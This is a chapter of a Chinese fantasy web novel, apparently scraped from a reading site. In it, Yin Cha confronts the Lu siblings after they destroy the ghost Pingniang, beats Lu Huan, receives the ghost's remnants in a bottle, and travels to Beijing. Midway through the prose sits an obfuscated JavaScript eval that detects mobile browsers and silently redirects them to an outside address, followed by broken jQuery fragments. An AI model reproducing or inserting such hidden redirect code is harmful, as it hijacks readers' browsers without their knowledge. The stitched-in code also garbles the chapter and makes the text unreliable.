19. chapter 19

作品:《狗血系统求我别赢了

    暑假,瀚海校园内空无一人。


    “小羽,我们去哪?”陆寰追赶上陆羽脚步,边问边搓搓胳膊。是他的错觉么,熟悉的走廊越往里走越阴冷,一点也不像最热的几个月。


    陆羽食指摁在唇上,不耐烦地嘘了一声。高考失利加抹黑尹茶未果的多重打击下,她平常用来伪装的耐心耗光了,懒得哄陆寰。


    直至走到女厕,温度已经低到陆寰腿肚子微微发抖,随着一件又一件法器经由陆羽之手摆出,陆寰眼睛越瞪越大,不由产生了拔腿就跑的念头。


    他妹哪里搞来的这些东西!


    陆羽将手机扔给陆寰,催促道,“给尹茶打电话,就说……”她勾唇一笑,烛光摇曳中的侧脸有几分瘆人,“我们来替她帮手超度。”


    另一边,尹茶好几天没踏出家门一步。


    媒体们对这个新科状元出奇感兴趣,尹茶简直是行走的知音故事会合集,正向可以宣传状元学习经验和励志小故事,冲阅读量的还能暗暗带一笔真假千金八卦,不怕账号被封的还有玄学选题可供分析,怎么写都有料!


    每天打到尹茶手机上的电话不计其数,陆家兄妹来势汹汹打的示威电话被其他通话淹没,压根没引起尹茶注意。


    一遍遍忙音后,陆羽阴狠表情挂不住了,恶狠狠架着陆寰手机不准他放下来,“再打!”


    陆寰也有点不耐烦了,“要是她把我拉黑了我怎么打?”


    陆羽预想中畅快威胁尹茶没威胁成,气得直跺脚,干脆一咬牙:“哥哥,你接着打,我来动手。”


    对付逗留世间的鬼魂,一是将它们超度,二是直接杀鬼,将它们打得魂飞魄散。


    陆羽脑容量被愤怒占据,已经没空间给思考腾地了,这么多法器,宁守真还一步步叮嘱她要怎么做,她信心十足,当即在手臂上划开一道口子,冒出的血珠滚落到集阴符上。


    啪嗒。


    细小血珠沾上黄纸,瞬间渗进纤维纹理。尹茶举着好几道伤口的指尖,看着新鲜出炉的集阴符,觉得画符不是普通人干的工作啊。


    不清楚为什么,用普通朱墨画符总是失败,非得用血才画成这么一张。


    尹茶将集阴符叠好,动身给萍娘送过去。


    门卫大爷认得尹茶,毕竟能让校长笑得见牙不见眼的学生也没谁了。尹茶欲抬步进校园时,忽然余光捕捉到了眼熟的轿车。


    陆家的车怎么会在这里?


    不管是陆家什么人,避免节外生枝,尹茶一个都不想碰上。


    可就在她准备换个时间再来时,一阵奇异冷风却扑面而来。


    咦?空调温度是不是太低了。门卫大爷打了个冷战,却看见原路返回的尹茶突然向教学楼奔去。


    集阴符在尹茶手中猎猎抖动,它本来就是召集阴气,吸引亡魂的符箓,此刻就像磁铁般被更强大的阴气吸附过去,就好像一根自动导航的绳索,拽着尹茶靠近阴气暴涨的巨大漩涡!


    阴阳眼中,冲天的阴气甚至盖过了明亮的现实世界,尹茶看到浓黑色的阴气以液体的形态,从教学楼每一处缝隙中滴漏出,整幢教学楼浸泡在黑泥一样的污水里,其余小鬼皆逃窜不敢进。


    这股阴气尹茶似曾相识。


    陆家人在干什么!


    尹茶一头扎进教学楼内,阴气不断淋到她身上,凉意沁入骨髓。她一边咬牙以最快速度往上跑,一边心凉了半截。


    她曾经叮嘱过萍娘不要随意出来,时隔一个多月,她们都放松了警惕,却没想过宁守真和陆家会隐忍到现在再报复。


    急促的脚步声回荡在教学楼内,尹茶催促着自己跑得快一点,再快一点,但她的速度却比不上萍娘阴气消散的速度。


    所谓恶鬼,也不过如此。


    陆羽居高临下地盯着伏在地上的萍娘,萍娘的鬼气削弱后,无需开阴阳眼,就能看到它。


    原来吓唬她,害她当众出大丑,甚至高考失利的就是这么个东西吗!陆羽满腔怒火,噔噔走过去,踩住了萍娘的手,用鞋跟碾了又碾。


    萍娘痛得皱缩成一团,无数她叫不上名字的法器符箓围绕着它,它被定在法阵中,清晰感受到身体在逐渐蒸发,连开口说话都做不到。


    明明它马上就能拿到集阴符,离开这里,为什么……


    陆羽蹲下身,和萍娘平视,“要恨就恨尹茶,是她害死你的,就算做不了鬼也记得缠着她。”


    说罢她嫌恶地擦了擦滚落到手背上的两滴眼泪,法阵阵眼是盛于方器里的水,和在圆形容器中燃烧的火,象征日精月华。此时火势燃烧到顶点,容器里的水也在无外力作用下泛起涟漪。*


    道门的水火炼度仪式,涤除鬼魂的阴气,使之脱离鬼道。宁守真让陆家兄妹等到萍娘被转化到介于鬼魂和人之间,现在杀了它就会彻底魂飞魄散!


    陆寰跃跃欲试拎着五帝钱串成的短剑上前,咧嘴笑,“让我来。”杀鬼什么的多新鲜,又不用负法律责任。


    还有两个教室!


    腿像灌了铅般沉重,肺像快炸开来,尹茶拼命压榨所剩无几的体力,她下意识往前伸手,像是要抓住眼前逐渐淡薄的黑气。


    然而黑气无可挽回地从她指缝中变淡消失。


    砰!


    金属碰撞声和踹门声同时响起,陆寰一松手,铜钱剑锒铛掉落地面,法阵当中空空如也。


    尹茶还是来晚了一步。


    看到尹茶,陆羽兴奋起来,这真是她第一次见尹茶狼狈的样子,胸口剧烈起伏着,手紧紧攥着,半垂着头看不清情绪。


    陆羽对尹茶是恨的,恨到现在普通的报复已经满足不了她了,仿佛只有撕碎尹茶淡定的假面,让尹茶痛苦,才能让回到陆家诸事不顺的她好受些。


    她做到了。


    陆羽正想出言嘲讽,却听到尹茶说话了,那声音沙哑极了,像是从喉咙中硬挤出来的,“是宁守真让你们来的?”


    话是问句,语气却是肯定的。


    “是啊,它是因为你死的!”陆羽不顾形象地哈哈大笑起来,陆寰跟着笑了几声就停住了,实在是陆羽捂着肚子笑得太过癫狂。


    忽地陆羽直起身,附在尹茶耳边恶狠狠道,“这就是得罪我的下场!”


    尹茶很慢地偏转侧脸,黑白分明的瞳孔瞧了她一眼。


    在兄妹俩都没反应过来前,尹茶抄起厕所里的清洁工具,大步流星冲到陆寰面前,横起一棍!


    火盆飞起,水花四溅,或昂贵或稀少的法器像破铜烂铁般满地乱滚。尽管大部分火焰被水流浇灭,还是有几点乱蹦的火星子落在陆寰衣服上,将他这件最喜欢奢牌的衣服燎出几个小洞。


    陆寰满嘴脏话还未出口,膝盖,腹部连遭重击,痛得他五脏仿佛移位,张嘴想骂娘马上又品尝到污水味。


    ¥%&¥!尹茶竟然敢把厕所拖把塞他嘴里!


    但那几棍子太痛了,180+的陆寰只有蜷缩在地上呻吟的份。


    他想起来了,家里之前给他们请过防身术老师,只不过他嫌苦没上几次,陆父陆母心疼他就把老师辞了。


    尹茶其实是想学的,每次都学得很认真。


    那种事事被尹茶压一头的痛苦,和□□的痛苦一起翻滚了上来,陆寰含混吼道,“扫把星!怪不得爸妈都讨厌你这个怪胎,巴不得赶你走!”


    连至亲之人都厌恶你害怕你,世间没人愿意站在你身边,该是多可悲的一个人啊。


    想着想着陆寰顾不上疼了,死狗一样趴在地上却仿佛胜利者,正欲继续嘲讽,被臭拖把一捅,结结实实呛了好几口脏水。


    尹茶面无表情转动拖把,是她的错,给了陆寰乱吠的机会。


    愤怒么?悲伤么?


    好像都谈不上极致。不过是见过几次面,收过它的谢礼,知道它名字罢了。萍娘对她的重要性,可能还比不上经常多给她打一勺肉的食堂阿姨。


    但那股郁气闷在胸口,像是吞下一把玻璃刀片,不吐不快,稍微一动,血肉又被割得鲜血淋漓。


    明明很快萍娘就可以像她一样,离开这个鬼地方了。


    脚边陆寰疯狂扭动,滋哇乱叫,抬头见尹茶用那种看狗似的眼神打量自己,不由得怒意上头。


    “我之前一直想不明白你为什么讨厌我,不过后来我懂了,”迎着陆寰充血的视线,尹茶慢慢道,特意放缓的语速仿佛是为了让陆寰大脑有时间充分理解。


    “因为你废物。”


    陆寰一怔,旋即爆发出更激烈的乱码。


    “不光是我,随便什么人在你的位置上,都比你聪明比你强,这点你自己也很清楚吧。”很长时间里,还是陆家千金的尹茶一直想不清楚,为什么公平两个字在陆家是不存在的。


    后来她发现了另外两个词,“偏心”和“漠视”。


    陆寰小感冒,全家上下一起哄着,严正以待;她被鬼吵得夜夜睡不着,陆母骂她娇气,爱撒谎,撒谎精的外号一度贯穿了她整个童年。被鬼上身奄奄一息的时候,陆父陆母甚至在商议,怎么悄悄把她送到私人疗养院自生自灭。


    她是好字无足轻重的偏旁,她是龙凤呈祥的添头。


    尹茶一直以为父母就该是这样的,直到遇见谢满意。


    小孩子天然觉得与众不同很酷,谢满意学着尹茶,谎称自己见鬼了。不管东还是西,谢爹谢妈能想到一切办法都给谢满意招呼上了,最后谢满意实在不想再喝符水才坦白了,被爹妈喜极而泣一顿双打。


    从那之后,尹茶才窥见了,哦,原来世界上有另一种父母,另一种健全的家庭关系。


    会保护孩子的父母,会无条件信任孩子的父母。


    “你也早察觉到了吧。”尹茶转头看向陆羽,对方神色躲闪。


    陆家同样没有那么爱陆羽。


    在离开陆家前,尹茶曾经真切希望过,或许血缘的力量是伟大的,陆家会给真正的陆家千金应有的爱护和公平……哪怕得到爱的不是她。


    可现在看起来,陆父陆母并没有资格成为父母。换无数个“陆羽”来,都会是相同的结果。


    不是她的错,也不是她与生俱来阴阳眼的错。


    “我曾经想过,陆家与其交给你这么个废物,应该到我手上才对。我也有继承权不是吗。”尹茶说,像是吐出长久来血肉里一块又一块的碎渣子,割破食道,割破喉咙。皮肉翻卷,舌根下仿佛真的隐约泛起血腥味。


    尹茶咽下满嘴血腥气,环视女厕,这里再也不会有鬼,像海豹冒头一样出现。


    她平和地轻声道,“现在我改变主意了。”


    “无论是宁守真还是陆家,一个都别想逃。”


    尹茶用力捅开陆寰的喉咙,而后松开手,头也不回地离开这里。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993083|193815||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接下来发生的事尹茶记得不是很清楚了,身后满脸污水的陆寰像被激怒的野兽般一跃而起,好像咆哮着想要掐死她,被冲进来的保安们和姬小天抱着腰合力拦下了。


    一片混乱中她像没事人一样静静坐着,不避开,也不说话,仿佛这一切都与她无关。


    “你……哎,你……”姬小天欲言又止。


    他总不能责怪尹茶吧,水火炼度仪式不是尹茶搞的,揍人也有分寸,顶多是方式羞辱人了一点,陆家想光明正大发难都没理由。


    尹茶动动嘴唇,声音低的自己都吓一跳,“你们能管这件事吗?”


    姬小天挠挠头,又挠挠脸,像是突然之间痒痒虫在身上跳舞,拖不下去了才道,“玄门中人行事经常沾灰色地带,我们也不是什么都能管的……”


    鬼魂作乱,管;修行者害人,管;可水火炼度仪式是正经的道门超度手段,不是邪法,陆家兄妹咬死了想要超度逗留人间的鬼魂,特管局想管也管不了。


    即便有特管局约束,修行世界也不是那么黑白分明,规矩井然,而是弱肉强食。


    尹茶无声抬眼几秒,瞳孔黑沉沉的没有一点光。


    姬小天却是一愣,意识到尹茶是在伤心啊。


    他说过把尹茶谢满意当自己人,是真的当自己人,不太忍心见未成年准同事消沉。


    姬小天做贼似的环顾四周,见大伙都安抚陆家兄妹去了,拿出警匪片接头人的架势,快速把某个东西塞进尹茶口袋里。


    尹茶下意识摸了一下,是个细长的小瓶子。


    “嘘,嘘!”姬小天紧张地压低声,“千万别跟人说这是我给你的,我可不想写检讨!”


    茅山上清派的宝瓶,用来收复邪魅鬼怪的法器,此时两缕极其微弱的鬼气在瓶肚中盘旋。


    姬小天视线游移,反正他就是多管闲事呗,碰巧就发现了现场残余的鬼气,碰巧就顺手收到宝瓶里,碰巧就给了尹茶……


    萍娘没有完全的魂飞魄散!


    然而想要重新凝聚成形,以姬小天的见识,几乎是不可能了。


    尹茶手指扣紧了宝瓶,陆羽有句话她不得不认同,正是她的轻率,对玄门的一知半解连累了萍娘,她应该负起这个责任。


    “我是没招了,”姬小天苦恼一摊手,鼓励似的点了点尹茶的肩,“别担心,特管局能人异士这么多,总会有办法的。”


    S市办事处太小,还有东南西北四个分局,再往上,是坐镇京城的总局。


    八月的瀚海,校内绿化繁茂,展开的扇子一样的树冠连成一片,将整个瀚海置于淡淡的阴影下。抬眼透过枝条间隙,周围是合抱林立的居民楼,视线再往远推,烧黑仅剩骨架的商厦伫立,仿佛风一吹就要散架。


    燥热的风从尹茶身边擦过,掀动她的衣角,吹向目力所不能及的远处。


    一点亮光完好无损地穿过层层叠叠枝叶漏下,直直坠到尹茶额心。


    好半晌,尹茶说:“你们单位实习生待遇怎么样?”


    >


    几天后,某列高铁上。


    时值暑假,这趟S市直达京城的高铁堪比巨型农贸市场,卖鸡鸭家禽的来了都要甘拜下风。车厢里婴儿,小孩,半大小孩魔音贯耳,上蹿下跳区区座位束缚不了他们。


    世界纷纷扰扰,尹茶独享安静小角落。


    乘务员都惊奇了,怎么一到这个车厢就从动物世界来到了文明社会,小孩们各个规矩得很。


    尹茶昏昏欲睡,被人轻轻地推了推,睁眼看是前座的小孩,怯生生举着个ipad问“姐姐我能不能看十分钟小猪x奇”。


    小孩虽然不清楚自己为什么要问,但稀里糊涂觉得自己必须取得这个陌生姐姐的同意。


    称号:【正道的光】


    尹茶从狗血系统那里新抢的道具,使用时……会发光。


    字面意义上的浑身发光,尹茶试过了,还有三种亮度可供调节。尹茶心想将来她要是找不到工作,还能应聘路灯上岗,发光发热。


    被动效果则是获得不同人群的信赖值或者震慑值,尹茶仁慈一挥手,小孩就屁颠屁颠回去看动画片了,估计正道的光在他这里就是老师的凶光……


    震慑了一车厢小孩的尹茶困倦看了眼手机,距离出发过去六个小时,她快坐散架了。


    没办法,特管局一档有一档的报销法,尹茶蹭特管局福利提前抵京,最快只能选高铁。


    一堆消息来自谢满意,问她到哪啦,间或夹杂几句吐槽,说等跟一大家子旅游结束就来京城找她;另一堆消息是姬小天发来的,碎碎念说了一堆去总局报道的注意事项。


    前者她每条都回,佐以沙雕表情包;后者选择性地回。


    正在尹茶十指如飞回信息的时候,高铁放缓速度驶入停靠站。一波人下,新旅客上,人员在过道流动。


    忽然尹茶感觉小腿被人撞了一下,是个五六岁小孩,眼睛很大,扑扇着睫毛就被后面的人群推着经过了。


    高铁按点开动。


    尹茶闭眼试图小睡,意识渐渐沉入半明不暗的光线的临界点,尖利的嚎哭硬生生将她拖回现实世界。


    又怎么了!


    尹茶疲倦又不耐地掀开眼罩,一个女人在车厢连接处抓着乘务员嚎哭,不少人起身探头探脑。


    “我的女儿!我女儿走失了!!!”